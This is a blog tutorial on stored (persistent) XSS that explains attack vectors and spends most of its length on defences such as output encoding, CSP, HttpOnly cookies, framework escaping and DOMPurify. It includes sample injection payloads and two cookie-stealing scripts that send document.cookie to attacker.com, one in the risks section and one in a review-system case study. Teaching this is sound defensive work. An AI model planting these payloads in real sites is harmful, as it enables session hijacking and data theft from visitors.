阿里云主机折上折
  • 微信号
Current Site:Index > Stored XSS (Persistent)

Stored XSS (Persistent)

Author:Chuan Chen 阅读数:7667人阅读 分类: 前端安全

Basic Concept of Stored XSS (Persistent)

Stored XSS is an attack method where malicious scripts are permanently stored on the target server. When users visit pages containing these malicious scripts, the scripts are automatically executed, allowing attackers to steal user data, hijack sessions, or perform other malicious actions. Unlike reflected XSS, stored XSS is more persistent and has a broader impact.

Typical scenarios for stored XSS attacks include forum comments, user profiles, product reviews, and other areas where users can submit content that is persistently stored. After an attacker submits content containing malicious scripts, all users visiting the page will be affected.

How Stored XSS Works

Stored XSS attacks typically follow these steps:

  1. The attacker discovers a storage function on the website that does not filter user input.
  2. The attacker submits content containing a malicious script (e.g., <script>alert('XSS')</script>).
  3. The server stores this content in the database.
  4. When other users visit the page containing this content, the malicious script is loaded from the server and executed.
  5. The script runs in the victim's browser, potentially stealing cookies, session tokens, or other sensitive information.
// A simple stored XSS example
// Assume this is server-side code for storing user comments
function saveComment(comment) {
  // Danger: directly storing unprocessed user input
  database.save({
    content: comment,
    createdAt: new Date()
  });
}

// Malicious comment submitted by the attacker
const maliciousComment = `<img src="x" onerror="stealCookies()">`;
saveComment(maliciousComment);

Common Vectors for Stored XSS Attacks

Stored XSS can be implemented through various HTML elements and attributes:

  1. <script> tags directly executing JavaScript.
  2. onerror event handlers in <img> tags.
  3. href attributes in <a> tags (using the javascript: pseudo-protocol).
  4. style attributes in <div> and other elements (e.g., expression()).
  5. <iframe> tags loading external malicious content.
<!-- Examples of various stored XSS attacks -->
<script>alert('XSS 1')</script>
<img src="invalid" onerror="alert('XSS 2')">
<a href="javascript:alert('XSS 3')">Click me</a>
<div style="background-image: url(javascript:alert('XSS 4'))"></div>
<iframe src="data:text/html,<script>alert('XSS 5')</script>"></iframe>

Risks of Stored XSS

Stored XSS can cause multiple types of harm:

  1. Session hijacking: Stealing users' session cookies to impersonate them.
  2. Sensitive data leakage: Obtaining private user data, such as names, addresses, or payment information.
  3. Website tampering: Modifying page content to insert false information or malicious links.
  4. Malware distribution: Leading users to download and install malicious software.
  5. Keylogging: Recording user inputs on the page, including sensitive information like passwords.
// An example of a cookie-stealing XSS attack
const maliciousScript = `
  var img = new Image();
  img.src = 'https://attacker.com/steal?cookie=' + document.cookie;
  document.body.appendChild(img);
`;
// This code sends the user's cookies to the attacker's server

Strategies for Defending Against Stored XSS

Input Filtering and Validation

Apply strict filtering and validation to all user inputs:

  1. Use a whitelist mechanism to allow only specific HTML tags and attributes.
  2. Filter or escape special characters (<, >, ", ', &, etc.).
  3. Validate input content to ensure it matches expected formats (e.g., email, phone number).
// Example of a simple input filtering function
function sanitizeInput(input) {
  return input
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#x27;");
}

Output Encoding

Apply appropriate encoding when outputting user-provided content to the page:

  1. Use HTML entity encoding for HTML contexts.
  2. Use JavaScript encoding for JavaScript contexts.
  3. Use URL encoding for URL contexts.
  4. Use CSS encoding for CSS contexts.
// Examples of encoding for different contexts
function htmlEncode(str) {
  return str
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;");
}

function jsEncode(str) {
  return str
    .replace(/\\/g, "\\\\")
    .replace(/'/g, "\\'")
    .replace(/"/g, '\\"');
}

Using Content Security Policy (CSP)

Restrict executable script sources via CSP headers:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'

This policy means:

  • By default, only resources from the same origin are allowed.
  • Scripts can only be loaded from the same origin or https://trusted.cdn.com.
  • All plugins are disabled (object-src 'none').

Secure Cookie Settings

Set the HttpOnly and Secure flags for cookies:

Set-Cookie: sessionid=12345; HttpOnly; Secure; SameSite=Strict

These settings:

  • Prevent JavaScript from accessing cookies via document.cookie (HttpOnly).
  • Ensure cookies are only transmitted over HTTPS (Secure).
  • Restrict cookies to same-site requests (SameSite).

XSS Protection in Modern Frontend Frameworks

Modern frontend frameworks like React, Vue, and Angular provide some level of XSS protection:

React's Protection Mechanism

React automatically escapes all values embedded in JSX:

// React automatically escapes user input
const userInput = "<script>alert('XSS')</script>";
return <div>{userInput}</div>; // Output will be escaped as text

But be cautious with dangerouslySetInnerHTML:

// Danger: may introduce XSS
const userInput = "<img onerror='alert(\"XSS\")' src='invalid' />";
return <div dangerouslySetInnerHTML={{ __html: userInput }} />;

Vue's Protection Mechanism

Vue's template syntax and text interpolation also auto-escape:

<!-- Vue automatically escapes user input -->
<div>{{ userInput }}</div>

Use v-html with caution:

<!-- Danger: may introduce XSS -->
<div v-html="userInput"></div>

Angular's Protection Mechanism

Angular escapes all interpolations by default:

<!-- Angular automatically escapes user input -->
<div>{{userInput}}</div>

Be careful with [innerHTML] binding:

<!-- Danger: may introduce XSS -->
<div [innerHTML]="userInput"></div>

Server-Side Defense Measures

Using Professional Sanitization Libraries

Avoid writing custom filtering logic; use mature libraries:

  • Node.js: DOMPurify, xss
  • PHP: htmlspecialchars, HTML Purifier
  • Python: bleach
  • Java: OWASP Java Encoder, Jsoup
// Using DOMPurify to sanitize HTML
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
  ALLOWED_ATTR: ['href', 'title']
});

Database-Level Protection

  1. Use parameterized queries for user input instead of direct SQL concatenation.
  2. Mark stored content to distinguish between plain text and HTML.
  3. Regularly scan the database for suspicious content.
// Dangerous SQL concatenation
const query = `INSERT INTO comments (content) VALUES ('${userInput}')`;

// Safe parameterized query
const query = 'INSERT INTO comments (content) VALUES (?)';
db.execute(query, [userInput]);

Real-World Case Studies

Case 1: XSS Attack on a Social Media Platform

A social media platform allowed users to use limited HTML in their profiles. Attackers discovered the platform did not properly filter style attributes and submitted the following profile:

<div style="background-image: url('javascript:alert(\"XSS\")')"></div>

When other users viewed the attacker's profile, the malicious code executed. The platform fixed this by:

  1. Strictly limiting allowed HTML tags and attributes.
  2. Implementing a CSP policy to restrict inline JavaScript.
  3. Batch-cleaning existing user content.

Case 2: E-Commerce Website Review System

An e-commerce website's product review system had a stored XSS vulnerability. Attackers inserted the following in product reviews:

<script>
fetch('https://attacker.com/steal', {
  method: 'POST',
  body: JSON.stringify({
    cookie: document.cookie,
    page: location.href
  })
});
</script>

This code sent visitors' cookies and current page URLs to the attacker's server. The website's fixes included:

  1. Completely banning HTML tags in reviews.
  2. Converting HTML tags in existing reviews to plain text.
  3. Adding the HttpOnly flag to all cookies.

Automated Detection and Continuous Protection

Automated Scanning Tools

  1. Static Application Security Testing (SAST): Analyzes source code for potential vulnerabilities.
  2. Dynamic Application Security Testing (DAST): Simulates attacks on running applications.
  3. Interactive Application Security Testing (IAST): Combines runtime analysis with static analysis.

Common tools:

  • OWASP ZAP
  • Burp Suite
  • Acunetix
  • SonarQube

Secure Coding Practices

  1. Treat all user input with suspicion.
  2. Implement the principle of least privilege.
  3. Conduct regular security training.
  4. Establish code review processes, especially for security-related code.
  5. Keep all dependencies updated and patch known vulnerabilities promptly.
// Secure coding example: Using a template engine with auto-escaping
const template = Handlebars.compile('<div>{{content}}</div>');
const safeOutput = template({ content: userInput }); // Auto-escaped

Browser Security Mechanisms and XSS Protection

Modern browsers offer various built-in security features:

  1. X-XSS-Protection: Deprecated; previously enabled browser-built-in XSS filters.
  2. Trusted Types: Restricts dangerous DOM APIs, enforcing content sanitization.
  3. Subresource Integrity (SRI): Ensures loaded external resources are untampered.
<!-- Enabling Trusted Types policy -->
Content-Security-Policy: require-trusted-types-for 'script'
// Using Trusted Types
if (window.trustedTypes && window.trustedTypes.createPolicy) {
  const escapePolicy = trustedTypes.createPolicy('escapePolicy', {
    createHTML: str => str.replace(/</g, '&lt;').replace(/>/g, '&gt;')
  });
  
  element.innerHTML = escapePolicy.createHTML(userInput);
}

Emergency Response and Vulnerability Fixes

Steps to take after discovering a stored XSS vulnerability:

  1. Confirm the vulnerability: Verify its existence and scope.
  2. Temporary mitigation: Disable related features or add extra filtering if possible.
  3. Fix the vulnerability: Implement proper input filtering and output encoding.
  4. Clean malicious content: Remove or sanitize malicious code from the database.
  5. Notify users: Inform affected users if sensitive data may have been leaked.
  6. Post-mortem analysis: Review the root cause and improve development processes.
// Example database cleanup script (Node.js)
async function cleanXSSInDatabase() {
  const comments = await Comment.find({});
  
  for (const comment of comments) {
    const cleanContent = DOMPurify.sanitize(comment.content);
    if (cleanContent !== comment.content) {
      comment.content = cleanContent;
      await comment.save();
    }
  }
}

Common Developer Misconceptions

  1. Frontend filtering is enough: Attackers can send malicious data directly to the backend.
  2. Only filtering <script> tags: XSS can be implemented through various HTML elements and attributes.
  3. Relying on blacklists: Use whitelists instead, as attack methods constantly evolve.
  4. Ignoring non-mainstream browsers: Older or special browsers may have different parsing behaviors.
  5. Overlooking third-party libraries: Even with frameworks, improper API usage can lead to vulnerabilities.
// Example of flawed blacklist filtering
function naiveFilter(input) {
  // Filtering only <script> is insufficient
  return input.replace(/<script>/gi, '');
}

// Attackers can easily bypass this
const attackString = "<img src='x' onerror='maliciousCode()'>";

本站部分内容来自互联网,一切版权均归源网站或源作者所有。

如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn

Front End Chuan

Front End Chuan, Chen Chuan's Code Teahouse 🍵, specializing in exorcising all kinds of stubborn bugs 💻. Daily serving baldness-warning-level development insights 🛠️, with a bonus of one-liners that'll make you laugh for ten years 🐟. Occasionally drops pixel-perfect romance brewed in a coffee cup ☕.